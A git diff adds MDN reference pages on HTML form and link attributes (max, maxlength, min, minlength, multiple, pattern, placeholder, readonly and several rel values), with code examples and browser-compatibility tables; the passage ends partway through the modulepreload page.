html.elements.meter.max

+

BCD tables only load in the browser

+

html.elements.progress.max

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/max +

+
diff --git a/devdocs/html/attributes%2Fmaxlength.html b/devdocs/html/attributes%2Fmaxlength.html new file mode 100644 index 00000000..f8fc3fbf --- /dev/null +++ b/devdocs/html/attributes%2Fmaxlength.html @@ -0,0 +1,114 @@ +

HTML attribute: maxlength

+

The maxlength attribute defines the maximum string length that the user can enter into an <input> or <textarea>. The attribute must have an integer value of 0 or higher.

The length is measured in UTF-16 code units, which (for most scripts) is equivalent to the number of characters. If no maxlength is specified, or an invalid value is specified, the input has no maximum length.

Any maxlength value must be greater than or equal to the value of minlength, if present and valid. The input will fail constraint validation if the length of the text value of the field is greater than maxlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

+
+

Constraint validation

+

While the browser will generally prevent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only tooLong property of a ValidityState object will be true.

+

Try it

+
+

Examples

+
+
+

html

+
<input type="password" maxlength="4" />
+
+
+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-maxlength-and-minlength-attributes
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
maxlength412410≤12.15≤37184≤12.151.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
maxlength11215.5≤12.114.4184≤12.111.0
+

html.elements.input.maxlength

+

BCD tables only load in the browser

+

html.elements.textarea.maxlength

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/maxlength +

+
diff --git a/devdocs/html/attributes%2Fmin.html b/devdocs/html/attributes%2Fmin.html new file mode 100644 index 00000000..260da1ae --- /dev/null +++ b/devdocs/html/attributes%2Fmin.html @@ -0,0 +1,129 @@ +

HTML attribute: min

+

The min attribute defines the minimum value that is acceptable and valid for the input containing the attribute. If the value of the element is less than this, the element fails validation. This value must be less than or equal to the value of the max attribute.

Some input types have a default minimum. If the input has no default minimum and a value is specified for min that can't be converted to a valid number (or no minimum value is set), the input has no minimum value.

It is valid for the input types including: date, month, week, time, datetime-local, number and range types, and the <meter> element.

+
+

Syntax

+
+
Syntax for min values by input type
Input type Syntax Example
date yyyy-mm-dd <input type="date" min="2019-12-25" step="1">
month yyyy-mm <input type="month" min="2019-12" step="12">
week yyyy-W## <input type="week" min="2019-W23" step="">
time hh:mm <input type="time" min="09:00" step="900">
datetime-local yyyy-mm-ddThh:mm <input type="datetime-local" min="2019-12-25T19:30">
number <number> <input type="number" min="0" step="5" max="100">
range <number> <input type="range" min="60" step="5" max="100">

Note: When the data entered by the user doesn't adhere to the min value set, the value is considered invalid in constraint validation and will match the :invalid and :out-of-range pseudo-classes.

See Client-side validation and rangeUnderflow for more information.

For the <meter> element, the min attribute defines the lower numeric bound of the measured range. This must be less than the minimum value (max attribute), if specified. In both cases, if omitted, the value defaults to 1.

Syntax for min values for other elements
Input type Syntax Example
<meter> <number> <meter id="fuel" min="0" max="100" low="33" high="66" +optimum="80" value="40"> at 40/100</meter>
+
+

Impact on step

+
+

The value of min and step define what are valid values, even if the step attribute is not included, as step defaults to 0.

We add a big red border around invalid inputs:

+

css

+
input:invalid {
+  border: solid red 3px;
+}
+
+

Then define an input with a minimum value of 7.2, omitting the step attribute, wherein it defaults to 1.

+

html

+
<input id="myNumber" name="myNumber" type="number" min="7.2" value="8" />
+
+

Because step defaults to 1, valid values include 7.2, 8.2, 9.2, and so on. The value 8 is not valid. As we included an invalid value, supporting browsers will show the value as invalid.

+
+ + +

If not explicitly included, step defaults to 1 for number and range, and 1 unit type (second, week, month, day) for the date/time input types.

+
+

Accessibility concerns

+

Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the min attribute, ensure this minimum requirement is understood by the user. Providing instructions within the <label> may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using aria-labelledby or aria-describedby.

+

Specifications

+
+ + + + + +
Specification
HTML Standard
# the-min-and-max-attributes
HTML Standard
# attr-meter-max
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
min6≤1816No116No18161110.31.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
min4121610≤12.15≤371816≤12.141.0
+

html.elements.input.min

+

BCD tables only load in the browser

+

html.elements.meter.min

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/min +

+
diff --git a/devdocs/html/attributes%2Fminlength.html b/devdocs/html/attributes%2Fminlength.html new file mode 100644 index 00000000..485e3f77 --- /dev/null +++ b/devdocs/html/attributes%2Fminlength.html @@ -0,0 +1,125 @@ +

HTML attribute: minlength

+

The minlength attribute defines the minimum string length that the user can enter into an <input> or <textarea>. The attribute must have an integer value of 0 or higher.

The length is measured in UTF-16 code units, which (for most scripts) is equivalent to the number of characters. If no minlength is specified, or an invalid value is specified, the input has no minimum length. This value must be less than or equal to the value of maxlength, otherwise the value will never be valid, as it is impossible to meet both criteria.

The input will fail constraint validation if the length of the text value of the field is less than minlength UTF-16 code units long, with validityState.tooShort returning true. Constraint validation is only applied when the value is changed by the user. Once submission fails, some browsers will display an error message indicating the minimum length required and the current length.

+
+

Try it

+
+

Examples

+
+

By adding minlength="5", the value must either be empty or five characters or longer to be valid.

+

html

+
<label for="fruit">Enter a fruit name that is at least 5 letters long</label>
+<input type="text" minlength="5" id="fruit" />
+
+

We can use pseudoclasses to style the element based on whether the value is valid. The value will be valid as long as it is either null (empty) or five or more characters long. Lime is invalid, lemon is valid.

+

css

+
input {
+  border: 2px solid currentcolor;
+}
+input:invalid {
+  border: 2px dashed red;
+}
+input:invalid:focus {
+  background-image: linear-gradient(pink, lightgreen);
+}
+
+
+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-maxlength-and-minlength-attributes
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
minlength401751No2710.14040512710.34.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
minlength401751No2710.14040512710.34.0
+

html.elements.input.minlength

+

BCD tables only load in the browser

+

html.elements.textarea.minlength

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/minlength +

+
diff --git a/devdocs/html/attributes%2Fmultiple.html b/devdocs/html/attributes%2Fmultiple.html new file mode 100644 index 00000000..f297c683 --- /dev/null +++ b/devdocs/html/attributes%2Fmultiple.html @@ -0,0 +1,159 @@ +

HTML attribute: multiple

The Boolean multiple attribute, if set, means the form control accepts one or more values. Valid for the email and file input types and the <select>, the manner by which the user opts for multiple values depends on the form control.

+

Try it

+
+

Overview

+
+

Depending on the type, the form control may have a different appearance if the multiple attribute is set. For the file input type, the native messaging the browser provides differs. In Firefox, the file input reads "No files selected" when the attribute is present and "No file selected" when it is not. Most browsers display a scrolling list box for a <select> control with the multiple attribute set and a single line dropdown when the attribute is omitted. The email input displays the same whether or not the multiple attribute is included, but will match the :invalid pseudo-class if more than one comma-separated email address is included if the attribute is not present.

When multiple is set on the email input type, the user can include zero (if not also required), one or more comma-separated email addresses.

+

html

+
<input type="email" multiple name="emails" id="emails" />
+
+

If and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list.

When multiple is set on the file input type, the user can select one or more files. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down Shift or Control, and then clicking).

+

html

+
<input type="file" multiple name="uploads" id="uploads" />
+
+

When the attribute is omitted, the user can only select a single file per <input>.

The multiple attribute on the <select> element represents a control for selecting zero or more options from the list of options. Otherwise, the <select> element represents a control for selecting a single <option> from the list of options.

+

html

+
<select multiple name="dwarfs" id="dwarfs">
+  <option>Grumpy</option>
+  <option>Happy</option>
+  <option>Sleepy</option>
+  <option>Bashful</option>
+  <option>Sneezy</option>
+  <option>Dopey</option>
+  <option>Doc</option>
+</select>
+
+

When multiple is specified, most browsers will show a scrolling list box instead of a single line dropdown.

+
+

Accessibility concerns

+
+

Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the multiple attribute, inform the user that multiple values are allowed and provide directions on how to provide multiple values, such as "separate email addresses with a comma."

Setting size="1" on a multiple select can make it appear as a single select in some browsers, but then it doesn't expand on focus, harming usability. Don't do that. If you do change the appearance of a select, and even if you don't, make sure to inform the user that more than one option can be selected by another method.

+
+

Examples

+ +

email input

+
+
+

html

+
<label for="emails">Who do you want to email?</label>
+<input
+  type="email"
+  multiple
+  name="emails"
+  id="emails"
+  list="dwarf-emails"
+  required
+  size="64" />
+
+<datalist id="dwarf-emails">
+  <option value="grumpy@woodworkers.com">Grumpy</option>
+  <option value="happy@woodworkers.com">Happy</option>
+  <option value="sleepy@woodworkers.com">Sleepy</option>
+  <option value="bashful@woodworkers.com">Bashful</option>
+  <option value="sneezy@woodworkers.com">Sneezy</option>
+  <option value="dopey@woodworkers.com">Dopey</option>
+  <option value="doc@woodworkers.com">Doc</option>
+</datalist>
+
+

If and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list. If the required attribute is present, at least one email address is required.

Some browsers support the appearance of the list of options from the associated <datalist> for subsequent email addresses when multiple is present. Others do not.

+
+ + +
+
+

file input

+
+

When multiple is set on the file input type, the user can select one or more files:

+

html

+
<form method="post" enctype="multipart/form-data">
+  <p>
+    <label for="uploads"> Choose the images you want to upload: </label>
+    <input
+      type="file"
+      id="uploads"
+      name="uploads"
+      accept=".jpg, .jpeg, .png, .svg, .gif"
+      multiple />
+  </p>
+  <p>
+    <label for="text">Pick a text file to upload: </label>
+    <input type="file" id="text" name="text" accept=".txt" />
+  </p>
+  <p>
+    <input type="submit" value="Submit" />
+  </p>
+</form>
+
+
+
+ + +

Note the difference in appearance between the example with multiple set and the other file input without.

When the form is submitted, had we used method="get" each selected file's name would have been added to URL parameters as?uploads=img1.jpg&uploads=img2.svg. However, since we are submitting multipart form data, we much use post. See the <form> element and sending form data for more information.

+
+

select

+
+

The multiple attribute on the <select> element represents a control for selecting zero or more options from the list of options. Otherwise, the <select> element represents a control for selecting a single <option> from the list of options. The control generally has a different appearance based on the presence of the multiple attribute, with most browsers displaying a scrolling list box instead of a single line dropdown when the attribute is present.

+

html

+
<form method="get" action="#">
+  <p>
+    <label for="dwarfs">Select the dwarf woodsman you like:</label>
+    <select multiple name="dwarfs" id="dwarfs">
+      <option>grumpy@woodworkers.com</option>
+      <option>happy@woodworkers.com</option>
+      <option>sleepy@woodworkers.com</option>
+      <option>bashful@woodworkers.com</option>
+      <option>sneezy@woodworkers.com</option>
+      <option>dopey@woodworkers.com</option>
+      <option>doc@woodworkers.com</option>
+    </select>
+  </p>
+  <p>
+    <label for="favoriteOnly">Select your favorite:</label>
+    <select name="favoriteOnly" id="favoriteOnly">
+      <option>grumpy@woodworkers.com</option>
+      <option>happy@woodworkers.com</option>
+      <option>sleepy@woodworkers.com</option>
+      <option>bashful@woodworkers.com</option>
+      <option>sneezy@woodworkers.com</option>
+      <option>dopey@woodworkers.com</option>
+      <option>doc@woodworkers.com</option>
+    </select>
+  </p>
+  <p>
+    <input type="submit" value="Submit" />
+  </p>
+</form>
+
+
+
+ + +

Note the difference in appearance between the two form controls.

+

css

+
/* uncomment this CSS to make the multiple the same height as the single */
+
+/*
+select[multiple] {
+  height: 1.5em;
+  vertical-align: top;
+}
+select[multiple]:focus,
+select[multiple]:active {
+  height: auto;
+}
+*/
+
+

There are a few ways to select multiple options in a <select> element with a multiple attribute. Depending on the operating system, mouse users can hold the Ctrl, Command, or Shift keys and then click multiple options to select/deselect them. Keyboard users can select multiple contiguous items by focusing on the <select> element, selecting an item at the top or bottom of the range they want to select using the Up and Down cursor keys to go up and down the options. The selection of non-contiguous is not as well-supported: items should be able to be selected and deselected by pressing Space, but support varies between browsers.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-input-multiple
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/multiple +

+
diff --git a/devdocs/html/attributes%2Fpattern.html b/devdocs/html/attributes%2Fpattern.html new file mode 100644 index 00000000..126d4f69 --- /dev/null +++ b/devdocs/html/attributes%2Fpattern.html @@ -0,0 +1,143 @@ +

HTML attribute: pattern

The pattern attribute specifies a regular expression the form control's value should match. If a non-null value doesn't conform to the constraints set by the pattern value, the ValidityState object's read-only patternMismatch property will be true.

+

Try it

+
+

Overview

+
+

The pattern attribute is an attribute of the text, tel, email, url, password, and search input types.

The pattern attribute, when specified, is a regular expression which the input's value must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored.

Note: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You must not rely on the tooltip alone for an explanation. See below for more information on usability.

Some of the input types supporting the pattern attribute, notably the email and url input types, have expected value syntaxes that must be matched. If the pattern attribute isn't present, and the value doesn't match the expected syntax for that value type, the ValidityState object's read-only typeMismatch property will be true.

+
+

Usability

+

When including a pattern, provide a description of the pattern in visible text near the control. Additionally, include a title attribute which gives a description of the pattern. User agents may use the title contents during constraint validation to tell the user that the pattern is not matched. Some browsers show a tooltip with title contents, improving usability for sighted users. Additionally, assistive technology may read the title aloud when the control gains focus, but this should not be relied upon for accessibility.

+

Constraint validation

+
+

If the input's value is not the empty string and the value does not match the entire regular expression, there is a constraint violation reported by the ValidityState object's patternMismatch property being true. The pattern's regular expression, when matched against the value, must have its start anchored to the start of the string and its end anchored to the end of the string, which is slightly different from JavaScript regular expressions: in the case of pattern attribute, we are matching against the entire value, not just any subset, as if a ^(?: were implied at the start of the pattern and )$ at the end.

Note: If the pattern attribute is specified with no value, its value is implicitly the empty string. Thus, any non-empty input value will result in constraint violation.

+
+

Examples

+ +

Matching a phone number

+
+

Given the following:

+

html

+
<p>
+  <label>
+    Enter your phone number in the format (123) - 456 - 7890 (<input
+      name="tel1"
+      type="tel"
+      pattern="[0-9]{3}"
+      placeholder="###"
+      aria-label="3-digit area code"
+      size="2" />) -
+    <input
+      name="tel2"
+      type="tel"
+      pattern="[0-9]{3}"
+      placeholder="###"
+      aria-label="3-digit prefix"
+      size="2" />
+    -
+    <input
+      name="tel3"
+      type="tel"
+      pattern="[0-9]{4}"
+      placeholder="####"
+      aria-label="4-digit number"
+      size="3" />
+  </label>
+</p>
+
+

Here we have 3 sections for a north American phone number with an implicit label encompassing all three components of the phone number, expecting 3-digits, 3-digits and 4-digits respectively, as defined by the pattern attribute set on each.

If the values are too long or too short, or contain characters that aren't digits, the patternMismatch will be true. When true, the element matches the :invalid CSS pseudo-classes.

+

css

+
input:invalid {
+  border: red solid 3px;
+}
+
+
+
+ + +

If we had used minlength and maxlength attributes instead, we may have seen validityState.tooLong or validityState.tooShort being true.

+
+

Specifying a pattern

+
+

You can use the pattern attribute to specify a regular expression that the inputted value must match in order to be considered valid (see Validating against a regular expression for a simple crash course on using regular expressions to validate inputs).

The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters.

+

html

+
<form>
+  <div>
+    <label for="uname">Choose a username: </label>
+    <input
+      type="text"
+      id="uname"
+      name="name"
+      required
+      size="45"
+      pattern="[a-z]{4,8}"
+      title="4 to 8 lowercase letters" />
+    <span class="validity"></span>
+    <p>Usernames must be lowercase and 4-8 characters in length.</p>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +
+
+

Accessibility Concerns

+
+

When a control has a pattern attribute, the title attribute, if used, must describe the pattern. Relying on the title attribute for the visual display of text content is generally discouraged as many user agents do not expose the attribute in an accessible manner. Some browsers show a tooltip when an element with a title is hovered, but that leaves out keyboard-only and touch-only users. This is one of the several reasons you must include information informing users how to fill out the control to match the requirements.

While titles are used by some browsers to populate error messaging, because browsers sometimes also show the title as text on hover, it therefore shows in non-error situations, so be careful not to word titles as if an error has occurred.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-input-pattern
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
pattern412410≤12.15≤37184≤12.141.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/pattern +

+
diff --git a/devdocs/html/attributes%2Fplaceholder.html b/devdocs/html/attributes%2Fplaceholder.html new file mode 100644 index 00000000..d5cb64e8 --- /dev/null +++ b/devdocs/html/attributes%2Fplaceholder.html @@ -0,0 +1,137 @@ +

HTML attribute: placeholder

+

The placeholder attribute defines the text displayed in a form control when the control has no value. The placeholder text should provide a brief hint to the user as to the expected type of data that should be entered into the control.

Effective placeholder text includes a word or short phrase that hints at the expected data type, not an explanation or prompt. The placeholder must not be used instead of a <label>. As the placeholder is not visible if the value of the form control is not null, using placeholder instead of a <label> for a prompt harms usability and accessibility.

The placeholder attribute is supported by the following input types: text, search, url, tel, email, and password. It is also supported by the <textarea> element. The example below shows the placeholder attribute in use to explain the expected format of an input field.

Note: The placeholder attribute can't include any line feeds (LF) or carriage returns (CR). If either is included in the value, the placeholder text will be clipped.

+
+

Accessibility concerns

+
+

Placeholders should only be used to show an example of the type of data that should be entered into a form; never as a replacement for a <label> element; doing so harms accessibility and user experience.

The <label> text is visually and programmatically associated with its corresponding form control. Screen readers don't announce placeholder content by default, but they do announce label content; it's the label that informs assistive technology users what data should be entered in the control. Labels also improve user experience for users of pointing devices: When a user clicks, touches, or taps a <label>, focus is moved to the the label's associated form control.

Placeholders can not be relied upon as a replacement for a label even for those not relying on assistive technology. Placeholder text is displayed at lower color contrast than the default form control text. This is by design, as you don't want users to be confused by what is placeholder text versus what is a filled-in form field. However, this lack of contrast can cause issues for low-vision users. Additionally, placeholder text disappears from form fields when users start entering text. If the placeholder text contains instructional information or examples that disappear, it can be confusing to users with cognitive issues and can make the form inaccessible if the placeholder contained the label.

+
+

Example

+ +

HTML

+
+

html

+
<form action="/en-US/docs/Web/HTML/Attributes/placeholder">
+  <label for="name">Enter your name:</label>
+  <input type="text" id="name" name="name" placeholder="e.g. Mike Shinoda" />
+  <button type="submit">Submit</button>
+</form>
+
+
+

Result

+
+ + +
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-input-placeholder
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
placeholder412410≤12.15≤37184≤12.151.0
line_breaks3612591023No373659NoNo3.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
placeholder312410≤12.14≤37184≤12.13.21.0
+

html.elements.input.placeholder

+

BCD tables only load in the browser

+

html.elements.textarea.placeholder

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/placeholder +

+
diff --git a/devdocs/html/attributes%2Freadonly.html b/devdocs/html/attributes%2Freadonly.html new file mode 100644 index 00000000..3846fd3c --- /dev/null +++ b/devdocs/html/attributes%2Freadonly.html @@ -0,0 +1,144 @@ +

HTML attribute: readonly

The Boolean readonly attribute, when present, makes the element not mutable, meaning the user can not edit the control.

+

Try it

+
+

Overview

+
+

If the readonly attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation.

The readonly attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, and number <input> types and the <textarea> form control elements. If present on any of these input types and elements, the :read-only pseudo class will match. If the attribute is not included, the :read-write pseudo class will match.

The attribute is not supported or relevant to <select> or input types that are already not mutable, such as checkbox and radio or cannot, by definition, start with a value, such as the file input type. range and color, as both have default values. It is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. Nor is it supported on any of the button types, including image.

Note: Only text controls can be made read-only, since for other controls (such as checkboxes and buttons) there is no useful distinction between being read-only and being disabled, so the readonly attribute does not apply.

When an input has the readonly attribute, the :read-only pseudo-class also applies to it. Conversely, inputs that support the readonly attribute but don't have the attribute set match the :read-write pseudo-class.

+
+

Attribute interactions

+
+

The difference between disabled and readonly is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled.

Because a read-only field cannot have its value changed by a user interaction, required does not have any effect on inputs with the readonly attribute also specified.

The only way to modify dynamically the value of the readonly attribute is through a script.

Note: The required attribute is not permitted on inputs with the readonly attribute specified.

+
+

Usability

+

Browsers display the readonly attribute.

+

Constraint validation

+

If the element is read-only, then the element's value can not be updated by the user, and does not participate in constraint validation.

+

Example

+ +

HTML

+
+

html

+
<div class="group">
+  <input type="text" value="Some value" readonly="readonly" id="text" />
+  <label for="text">Text box</label>
+</div>
+<div class="group">
+  <input type="date" value="2020-01-01" readonly="readonly" id="date" />
+  <label for="date">Date</label>
+</div>
+<div class="group">
+  <input type="email" value="Some value" readonly="readonly" id="email" />
+  <label for="email">Email</label>
+</div>
+<div class="group">
+  <input type="password" value="Some value" readonly="readonly" id="pwd" />
+  <label for="pwd">Password</label>
+</div>
+<div class="group">
+  <textarea readonly="readonly" id="ta">Some value</textarea>
+  <label for="ta">Message</label>
+</div>
+
+
+

Result

+
+ + +
+

Specifications

+
+ + +
Specification
HTML Standard
# the-readonly-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
readonly1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
readonly11215.5≤12.114.4184≤12.111.0
+

html.elements.input.readonly

+

BCD tables only load in the browser

+

html.elements.textarea.readonly

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/readonly +

+
diff --git a/devdocs/html/attributes%2Frel%2Fdns-prefetch.html b/devdocs/html/attributes%2Frel%2Fdns-prefetch.html new file mode 100644 index 00000000..0fb97005 --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fdns-prefetch.html @@ -0,0 +1,56 @@ +

rel=dns-prefetch

+

The dns-prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing DNS resolution for that origin.

See Using dns-prefetch for more details.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-dns-prefetch
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dns-prefetch46≤793No33No46Yes4NoNoYes
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/dns-prefetch +

+
diff --git a/devdocs/html/attributes%2Frel%2Fmanifest.html b/devdocs/html/attributes%2Frel%2Fmanifest.html new file mode 100644 index 00000000..c3c6c0fd --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fmanifest.html @@ -0,0 +1,53 @@ +

rel=manifest

+

Experimental: This is an experimental technology
Check the Browser compatibility table carefully before using this in production.

The manifest keyword for the rel attribute of the <link> element indicates that the target resource is a Web app manifest.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-manifest
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
manifestNoNoNoNoNoNo3939NoNoNo4.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/manifest +

+
diff --git a/devdocs/html/attributes%2Frel%2Fme.html b/devdocs/html/attributes%2Frel%2Fme.html new file mode 100644 index 00000000..a905b869 --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fme.html @@ -0,0 +1,17 @@ +

rel=me

+

The me keyword for the rel attribute of the <link> and <a> elements indicates that the current resource is represented by the linked party. The me value was introduced in the XHTML Friends Network (XFN) specification.

+

html

+
<link rel="me" value="example.com" />
+
+

The rel="me" attribute is used in RelMeAuth and Web sign in specifications as a way to enable a person to identify themselves to a web service using their domain name or a particular URL.

+
+

Specifications

+
+No specification found

No specification data found for html.elements.link.rel.me.
Check for problems with this page or contribute a missing spec_url to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

+
+

Browser compatibility

+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/me +

+
diff --git a/devdocs/html/attributes%2Frel%2Fmodulepreload.html b/devdocs/html/attributes%2Frel%2Fmodulepreload.html new file mode 100644 index 00000000..5c6ffc3e --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fmodulepreload.html @@ -0,0 +1,104 @@ +

rel=modulepreload

+

The modulepreload keyword, for the rel attribute of the <link> element, provides a declarative way to preemptively fetch a module script, parse and compile it, and store it in the document's module map for later execution.

Preloading allows modules and their dependencies to be downloaded early, and can also significantly reduce the overall download and processing time. This is because it allows pages to fetch modules in parallel, instead of sequentially as each module is processed and its dependencies are discovered. Note however that you can't just preload everything! What you choose to preload must be balanced against other operations that might then be starved, adversely affecting user experience.

Links with rel="modulepreload" are similar to those with rel="preload". The main difference is that preload just downloads the file and stores it in the cache, while modulepreload gets the module, parses and compiles it, and puts the results into the module map so that it is ready to execute.

When using modulepreload the fetch request mode is always cors, and the crossorigin property is used to determine the request credential mode. If crossorigin is set to anonymous or "" (default), then the credentials mode is same-origin, and user credentials such as cookies and authentication are only sent for requests with the same-origin. If crossorigin is set to use-credentials then the credentials mode is include, and user credentials for both single- and cross-origin requests.

The as attribute is optional for links with rel="modulepreload", and defaults to "script". It can be set to "script" or any script-like destination, such as "audioworklet", "paintworklet", "serviceworker", "sharedworker", or "worker". An Event named "error" is fired on the element if any other destination is used.

A browser may additionally also choose to automatically fetch any dependencies of the module resource. Note however that this is a browser-specific optimization — the only approach to ensure that all browsers will try to preload a module's dependencies is to individually specify them! Further, the events named load or error fire immediately following success or failure of loading the specified resources. If dependencies are automatically fetched, no additional events are fired in the main thread (although you might monitor additional requests in a service worker or on the server).

+
+

Examples

+
+

Consider the basic-modules example (live version), introduced in the JavaScript modules guide.

This has a file structure as shown below, consisting of the top level module main.js, which statically imports two dependency modules modules/canvas.js and modules/square.js using the import statement.

index.html
+main.js
+modules/
+    canvas.js
+    square.js
+

The HTML for the example below shows how main.js is fetched in a <script> element. Only after main.js has loaded does the browser discover and fetch the two dependency modules.

